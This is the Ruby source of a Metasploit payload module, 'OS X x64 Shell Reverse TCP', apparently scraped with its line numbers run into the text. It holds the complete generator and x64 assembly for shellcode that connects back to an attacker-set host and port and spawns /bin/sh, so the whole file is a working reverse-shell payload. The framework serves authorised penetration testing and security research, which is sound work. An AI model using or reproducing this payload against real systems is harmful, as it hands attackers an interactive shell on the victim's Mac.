Path: blob/master/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb
21549 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 12878include Msf::Payload::Single9include Msf::Payload::Osx10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'OS X x64 Shell Reverse TCP',17'Description' => 'Connect back to attacker and spawn a command shell',18'Author' => 'nemo <nemo[at]felinemenace.org>',19'License' => MSF_LICENSE,20'Platform' => 'osx',21'Arch' => ARCH_X64,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::CommandShellUnix24)25)2627# exec payload options28register_options(29[30OptString.new('CMD', [ true, 'The command string to execute', '/bin/sh' ]),31Opt::LHOST,32Opt::LPORT(4444)33]34)35end3637# build the shellcode payload dynamically based on the user-provided CMD38def generate(_opts = {})39lhost = datastore['LHOST'] || '127.0.0.1'40# OptAddress allows either an IP or hostname, we only want IPv441unless Rex::Socket.is_ipv4?(lhost)42raise ArgumentError, 'LHOST must be in IPv4 format.'43end4445cmd = (datastore['CMD'] || '') + "\x00"46encoded_port = [datastore['LPORT'].to_i, 2].pack('vn').unpack1('N')47encoded_host = Rex::Socket.addr_aton(lhost).unpack1('V')48encoded_host_port = format('0x%<encoded_host>.8x%<encoded_port>.8x', { encoded_host: encoded_host, encoded_port: encoded_port })4950shell_asm = %(51mov eax,0x200006152push 0x253pop rdi54push 0x155pop rsi56xor rdx,rdx57syscall58mov r12,rax59mov rdi,rax60mov eax,0x200006261xor rsi,rsi62push rsi63mov rsi, #{encoded_host_port}64push rsi65mov rsi,rsp66push 0x1067pop rdx68syscall69mov rdi,r1270mov eax,0x200005a71mov rsi,272syscall73mov eax,0x200005a74mov rsi,175syscall76mov eax,0x200005a77mov rsi,078syscall79xor rax,rax80mov eax,0x200003b81call load_cmd82db "#{cmd}", 0x0083load_cmd:84pop rdi85xor rdx,rdx86push rdx87push rdi88mov rsi,rsp89syscall90)9192Metasm::Shellcode.assemble(Metasm::X64.new, shell_asm).encode_string93end94end959697